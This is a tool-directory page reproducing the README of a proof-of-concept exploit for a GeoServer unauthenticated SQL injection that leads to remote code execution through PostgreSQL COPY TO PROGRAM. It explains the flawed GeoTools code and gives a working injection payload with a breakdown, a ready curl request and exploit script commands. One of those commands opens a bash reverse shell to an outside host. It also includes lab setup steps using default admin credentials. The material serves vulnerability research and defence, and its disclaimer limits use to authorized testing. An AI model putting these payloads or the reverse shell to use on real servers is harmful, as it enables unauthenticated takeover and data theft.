Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-76904 — POC | GeoServer Unauthenticated SQL injection to complete RCE | Kitploit
Tools/GitHubGitHub/yonliud/cve-2026-76904
Payload GenerationExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubyonliud/cve-2026-76904

CVE-2026-76904

POC | GeoServer Unauthenticated SQL injection to complete RCE

View Repository
31 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GeoServer SQL Injection to RCE (Zero-Day)

CVE: CVE-2026-76904 | CVSS: 9.8 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This vulnerability has been assigned GHSA-mqjf-5f49-2fjh by the GeoServer/GeoTools team and is actively being exploited in the wild as of August 2026. The vulnerability has been patched but since it's so fresh (1786870173) it's still being exploited heavily around the web.

August 21, 2026 - Recieved a CVE Identifier: CVE-2026-76904

TLDR

Unauthenticated SQL injection in GeoServer's jsonArrayContains function -> Remote Code Execution via PostgreSQL COPY TO PROGRAM.

The vulnerability

GeoServer's (specifically in GeoTools) jsonArrayContains function, used to query JSON arrays in PostgreSQL, contains a critical SQL injection vulnerability. The third parameter (expected) is directly concatenated into the SQL query without any sanitization, escaping, or parameter binding.

Specifically this:

root@kitploit:~
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')

Deeper dive

The vulnerability comes from GeoTools' FilterToSqlHelper.constructEquality method. The jsonArrayContains function's third parameter (expected) is directly written into the SQL string using String.formatted() without any escaping.

root@kitploit:~
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);

This flaw is not a new bug, it's a regression of CVE-2023-25158 (an identical CVSS 9.8 SQL injection vulnerability)

The new vulnerability was introduced when GEOT-7589 added jsonb_path_exists support for PostgreSQL 12+. The 2023 patch didn't protect the jsonArrayContains function, which was added/modified after that remediation.

Demo

https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d

Payload

Esentially this:

root@kitploit:~
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true

Payload Breakdown:

Manual curl

root@kitploit:~
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
  --data-urlencode "service=WFS" \
  --data-urlencode "version=2.0.0" \
  --data-urlencode "request=GetFeature" \
  --data-urlencode "typeNames=topp:test_json" \
  --data-urlencode "outputFormat=application/json" \
  --data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"

The WFS 2.0 closure pattern is adapted from the research by mhtsec

Usage

Nobody wants to run curl right? here's the usage of exploit.py

File Creation PoC

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
  --show-payload

RCE PoC

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
  --show-payload

Lab

A docker-compose.yml is provided for simplicity to have a quick start with the PoC.

After initialization using

root@kitploit:~
Docker compose up -d

we can setup the enviroment using the REST api available to us

root@kitploit:~
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<dataStore>
  <name>test_json_store</name>
  <connectionParameters>
    <entry key="host">db</entry>
    <entry key="port">5432</entry>
    <entry key="database">geoserver_data</entry>
    <entry key="user">geoserver</entry>
    <entry key="passwd">geoserver</entry>
    <entry key="dbtype">postgis</entry>
  </connectionParameters>
</dataStore>'

Publish the layer

root@kitploit:~
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<featureType>
  <name>test_json</name>
  <nativeName>test_json</nativeName>
  <title>Test JSON Layer</title>
  <srs>EPSG:4326</srs>
</featureType>'

Original X post

Disclaimer

This repository contains an independent proof-of-concept exploit for the GeoServer ;jsonArrayContains; zero-day SQL injection to RCE vulnerability. This vulnerability was originally discovered and disclosed by 秋风 (@q1uf3ng). The exploit chain was recreated and validated in a controlled lab environment.

This project is intended solely for authorized security research, education, and testing in isolated laboratory environments.

Do not use this software against systems, networks, or data without explicit authorization from the owner. You are solely responsible for complying with all applicable laws and for any consequences resulting from your use of this project.

The author, YonLiud, provides this project “as is,” without warranties of any kind, and accepts no responsibility for damage, data loss, service disruption, unauthorized access, or other misuse caused by this software or derivative works.

By using this project, you acknowledge and accept these conditions.

Download Tool
ComponentPurpose
jsonArrayContains(data,'/x','y")\'')Calls function with crafted third param
OR 1=1))Closes JSON path and function call
AS gt_injected;Aliases the derived table
COPY (SELECT 1) TO PROGRAM 'COMMAND'PostgreSQL RCE command
--')=trueComments out remaining SQL